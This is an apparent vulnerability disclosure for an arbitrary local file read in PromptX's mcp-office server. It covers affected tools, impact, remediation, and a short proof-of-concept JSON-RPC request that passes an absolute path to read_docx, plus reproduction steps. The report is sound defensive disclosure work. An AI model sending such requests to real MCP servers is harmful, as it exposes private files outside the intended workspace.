# Vulnerability Summary: Arbitrary Local File Read Vulnerability in PromptX @prompts/mcp-office ## Vulnerability Overview - **Vulnerability Title**: Arbitrary Local File Read Vulnerability in @prompts/mcp-office of PromptX #571 - **Vulnerability Type**: CWE-862 (Improper Authorization) - **Vulnerability Description**: An arbitrary local file read vulnerability was discovered in `packages/mcp-office/src/index.ts`. Multiple MCP tools (including `read_docx`, `read_xlsx`, `read_pptx`, `list_xlsx_sheets`, `read_pdf`) accept user-provided path parameters and directly use them in file system operations such as `fs.readFileSync` and `AmZip`, without performing workspace boundary checks or allowlist validation. An attacker can read any local Office or PDF file outside the workspace by providing an absolute path. - **Report Date**: April 10, 2026 - **Reporter**: Brucejin (brucejin@nju.edu.cn) ## Impact Scope - **Affected Versions**: - Confirmed affected commit: `5cb0b51a63f9152ae079285ef39ccf268cb8151a` - Affected range: Revisions containing the same requests to file system paths list - Fixed version: Not available at time of report - **Security Impact**: - **Confidentiality**: High (can read arbitrary local Office/PDF documents outside the workspace) - **Integrity**: None (demonstrated read issue) - **Availability**: Low (incorrect or expensive parsing of input may cause tool errors or resource consumption) - **Scope**: Changed ## Remediation Plan ### Temporary Mitigations - Disable or remove the built-in `mcp-office` server where not needed - Restrict tool invocation to trusted users/agents - Enforce a readable root allowlist before any file system access - Reject paths that resolve explicitly outside the approved workspace directory ### Recommended Fixes - Eliminate the above-recorded requests to file system paths - Normalize and resolve requested paths before use, then verify they remain within the approved workspace or configured allowed roots - Re-validate after symbolic link resolution - Reuse the boundary check model already implemented in `packages/mcp-workspace/src/service/workspace.service.ts` - Add regression tests proving that attacker-controlled paths outside the approved root cannot reach `fs.readFileSync` or `AmZip` ## POC Code ### 1. Reproduction Request ```json {"jsonrpc":"2.0","id":"1","method":"tools/call","params":{"name":"read_docx","arguments":{"path":"/absolute-path-to-file.docx"}}} ``` ### 2. Verification Steps ```bash # Build and start @prompts/mcp-office, e.g., using MCP Inspector from repository root npm install npm -filter @prompts/mcp-office build npx @modelcontextprotocol/inspector node packages/mcp-office/dist/index.js # Create a valid DOCX file outside the workspace directory mkdir -p /prompts-poc printf 'PromptX arbitrary file read PoC\n' > /prompts-poc/secret.txt tldconvert -convert docx /prompts-poc/secret.txt -output /prompts-poc/secret.docx # Submit tools/call request to mcp-office server # Confirm that the returned tool output contains the DOCX text content, proving that the attacker-controlled path reached beyond the workspace to the file read sink ``` ### 3. Technical Root Cause Code ```javascript // 1. js/file-access-from-request // Source: packages/mcp-office/src/index.ts:154 (request) // Sink: packages/mcp-office/src/index.ts:164 // Sink code: const buffer = fs.readFileSync(filePath); // 2. js/file-access-from-request // Source: packages/mcp-office/src/index.ts:154 (request) // Sink: packages/mcp-office/src/index.ts:175 // Sink code: const buffer = fs.readFileSync(filePath); // 3. js/file-access-from-request // Source: packages/mcp-office/src/index.ts:154 (request) // Sink: packages/mcp-office/src/index.ts:204 // Sink code: const zip = new AmZip(filePath); // 4. js/file-access-from-request // Source: packages/mcp-office/src/index.ts:154 (request) // Sink: packages/mcp-office/src/index.ts:239 // Sink code: const buffer = fs.readFileSync(filePath); // 5. js/file-access-from-request // Source: packages/mcp-office/src/index.ts:154 (request) // Sink: packages/mcp-office/src/index.ts:250 // Sink code: const buffer = fs.readFileSync(filePath); ```